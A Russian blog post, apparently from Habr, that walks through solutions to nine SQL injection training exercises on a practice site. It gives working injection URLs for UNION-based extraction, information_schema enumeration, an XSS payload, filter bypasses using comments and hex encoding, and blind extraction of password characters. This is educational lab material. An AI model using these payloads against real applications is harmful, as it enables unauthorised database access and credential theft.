Решение задач по sql injection с сайта alexbers.com-sql

в 13:50, , рубрики: alexbers, sql, безопасность веб-приложений, информационная безопасность, метки: ,

Хочу поделиться с «Хабрахабром» примером своих решений задач по sql-инъекциям с сайта alexbers.

Пример 1: www.alexbers.com/sql/1.php

Это даже и не пример. Требуется самому написать запрос с заранее известными всем таблицами, именем пользователя.

Дано: 
Таблица: users
Поля: id,login,pass 

Решение:

https://www.alexbers.com/sql/1.php?text=select * from users where id='12

Просто запрос со всеми данными, которые нам заведомо известны.

Пример 2: www.alexbers.com/sql/qnbutn2.php

Нам продемонстрирован запрос:

select * from users where id=2 or login='$text' 
Дано:
Таблица: users
Поля: id,login,pass 

В этом примере показана примитивная уязвимость: входные данные никак не фильтруются. Поэтому мы можем воспользоваться кавычкой:

https://www.alexbers.com/sql/qnbutn2.php?text=-1' or  id='9

Что мы сделали? Мы привели запрос к такому виду:

select * from users where id=2 or login='-1' or  id='9'

Мы пытаемся извлечь из таблицы users пользователя с id=2 или с login=1 или с id=9, которая взята кавычкой слева и будет закрыта кавычкой оригинального запроса. Поскольку пользователя -1 не существует, мы из этого запроса ничего не получаем, зато id=9 существует. В результате получаем вывод из 2-х строк — пользователь с id=2 и с id=9.

Пример 3: www.alexbers.com/sql/sdjjy3.php

Опять виден запрос:

select * from users where id=2 or login='$text' limit 1 
Дано:
Таблица: users
Поля: id,login,pass 

Различие с предыдущим примером — ограничение на вывод в 1 строку. Уходит приплясывая при постановке комментария, который «уберет» конец строки, т.е. Он не будет обработан.

Решение:

https://www.alexbers.com/sql/sdjjy3.php?text=-1' or id='13 -- 123

Вид запроса:

select * from users where id=2 or login='-1 or id='13' --123' limit 1 

Таким образом мы выкидываем ограничение и извлекаем пользователя с id=13.

Пример 4: www.alexbers.com/sql/qjqhweh4.php

Запрос:

select * from users where id=2 or login='$text' limit 1 

Дано:

Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 3 поля

Чуток поинтересней. Теперь у нас 2 таблицы и запрос выполняется не к той таблице, которая нам нужна. Воспользуемся классическим способом. В mysql существует оператор, который позволяет выполнять запрос к разным таблицам через 1 запрос. Для работы с объеденением запросов нам необходимо, чтобы во всех объединяемых запросах количество полей было одинаковым. Так как мы не можем повлиять на их количество в первом запросе, нам нужно подобрать их количество во втором к первому. Сделать это можно несколькими способами. Воспользуемся оператором UNION. Дело в том, что количество столбцов до union и после должны соответствовать и, наверняка, вылезет ошибка.

Запрос:

https://www.alexbers.com/sql/qjqhweh4.php?text=-1' union select 1,2 -- 123

Настоящий вид запроса:

select * from users where id=2 or login='-1' union select 1,2 -- 123' limit 1 

Ответ сервера:

Could not query: The used SELECT statements have a different number of columns

Значит число отличается от того, которое реально в таблице users. Методом изменения перечисления столбцов приходим к выводу, что число столбцов — 3 штуки. (В этом случае ошибки не будет.) Теперь у нас кое где в странице должны отобразится какие-нибудь из этих цифр. Теперь чтобы нам получить какую нибудь информацию нам нужно заменять эти цифры в обрщении к скрипту на нужные нам функции.

Кстати, тут также можно привести примитивный пример xss через sqli:

https://www.alexbers.com/sql/qjqhweh4.php?text=-1' union select 1,<script>alert('XSS')</script>,3 -- 123

Как уже заметили, цифры 1,2,3 выводятся на экран, а ведь это прямая запись кода в страничку. Воспользуемся этим и выведем алерт.

Но наша цель — другое: вывести информацию из другой таблицы. О ней мы знаем только то, что в ней 3 поля и ее название. Чтобы извлечь какие-то поля, мы должны их знать. Сделать это можно несколькими способами, например, если у нас есть доступ к служебной таблице information schema. Таблица information_schema.columns хранит информацию об именах колонок. Извлечем информацию о всех колонках всех таблиц и отфильтруем ее только теми, которые принадлежат таблице secret:

https://www.alexbers.com/sql/qjqhweh4.php
?text=-1'+union+select+1,column_name,3+from+information_schema.columns where table_name='secret'--+123

Можно использовать более обширную и наглядную выборку:

https://www.alexbers.com/sql/qjqhweh4.php?text=-1'+union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'+--+123

По задаче требуется найти данное секретной таблицы с полем ggg=abc. Извлечем данные колонок f1,f2:

https://www.alexbers.com/sql/qjqhweh4.php
?text=-1'+union+select+f1,f2,ggg+from+secret where ggg='abc'--+123

Один из результатов и будет ответом на уровень.

Пример 5: www.alexbers.com/sql/sdfkjsdk5.php

Запрос:

select * from users where id=2 or login='$text' limit 1

Дано:

Таблицы: users, secret
Поля: id,login,pass - это в users. В таблице secret - 2 поля 

Попробуем повторить предыдущий пример. Узнаем сколько колонок в таблице users, извлечем список всех колонок для секретной таблицы.

https://www.alexbers.com/sql/sdfkjsdk5.php?text=1' union+select+1,concat_ws(0x3a,table_name,column_name),3+from+information_schema.columns where table_name='secret'--+123

Видим, что у нас в таблице secret – находится 2 колонки, извлечем их значения:

https://www.alexbers.com/sql/sdfkjsdk5.php?text=-1' union select 1,dfgdfgfdg,dfgfddfgdfdfdf from secret-- 123

Видим ответ.

Пример 6: www.alexbers.com/sql/skldj6

Запрос:

select * from users where id=$text limit 1 

Дано:

Таблицы: users
Поля: id,login,pass - это в users. 
Фильтруются кавычки, выводится только 1 строка из БД

Здесь видно непонимание принципов работы фильтра mysq_real_escape_string, когда значение переменной id не помещено в кавычки. Тогда, хоть они и 50 раз фильтруются, они нам и не нужны. Выборка проста до невозможности:

https://www.alexbers.com/sql/skldj6.php?text=-1 union select id,login,pass from users where login=CHAR(103, 111, 100)

Допустим, что нам слишком много известно из «дано». Обычно приходится подбирать все вручную и здесь нас пытается обломать «выводится только 1 строка из БД». В таких случаях можно использовать объединение результата запроса в 1 строку:

https://www.alexbers.com/sql/skldj6.php?text=-1 union select 1,2,group_concat(concat_ws(0x3a,id,login,pass)) from users where id>27

Для перемещения по такой выборке можно использовать либо id, либо строку (часть вывода) которую в частном примере нужно будет пропустить через char() (спасибо rdot.org).

Пример 7: www.alexbers.com/sql/dsfhsdjkf7.php

Дано:

Таблицы: users
Поля: id,login,pass - это в users.Теперь всегда выводится только первая строка ответа(остальные не выводятся) Фильтруются символы ',",+,=,запятая,пробел,скобки

Запрос:

select * from users where id=$text limit 1 

Поскольку выборка идет сразу по нужной нам таблице, то даже не придется использовать второй запрос. Пробелы заменяются на комметарии /**/ и /*!*/, остается только одна проблема — фильтруется знак равенства. Но его можно обойти, используя оператор like. Этот опреатор можно использовать, сравнивая напрямую со строкой, но тогда придется использовать кавычки, либо без кавычек, и требуется перекодировать строку в hex. Также, нам доподлинно неизвестен ник, который мы ищем, поэтому будем использовать поиск по маске со значком % в логине. Итоговый вектор атаки примет вид:

https://www.alexbers.com/sql/dsfhsdjkf7.php?text=-1/*!or/*!login*/like/**/0x2567656e746f6f25

Пример 8: www.alexbers.com/sql/qqqwwweeerrr8.php

Запрос:

select * from users where id=$text

Дано:

Таблицы: users
Поля: id,login,pass - это в users.
Подсказка: сообщения от ошибках не выведутся 

Единственное, что нам вообще что-то выводится — информация о том, что произошла какая-то ошибка, или количество выведенных записей. Количество выводимых записей — единственное число, которым мы можем управлять. От нас требуется получить пароль от пользователя. Пароль — это некоторая информация, записываемая в числово-буквенном виде. Все, чем мы можем оперировать — цифры. Значит пароль надо представить в численном виде. Если взять и перевести каждый символ в ascii–вид, то любой символ из пароля будет в виде числа. Для отделения символа воспользуемся функцией mid(), для перевода в ascii – функция ascii(), вектор атаки получится вот таким:

https://www.alexbers.com/sql/qqqwwweeerrr8.php?text=-1 or id<=(select ascii(mid(pass,1,1)) from users where login='fast')

Вывод даст нам ascii-представление первого символа пароля. Дальше делаем запрос для второго и т.д.

Пример 9: www.alexbers.com/sql/almost9.php

По задаче требуется: «Ура, я знаю ответ (числовая сумма логинов пользователей с 20<=id<=30)».
То есть нам надо вытащить числовое значение каждого логина и сложить. Задача схожа с предыдущей, тут добавлять особо нечего.

Вектор атаки:

https://www.alexbers.com/sql/almost9.php?text=-1 or id<=(select ascii(mid(login,1,1)) from users where id=30)

Пример 10 не рассматриваю, поскольку решение этой задачи можно найти на ютубе. Для нее требуется автоматизация в бурпе.

Автор: bykvaadm

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js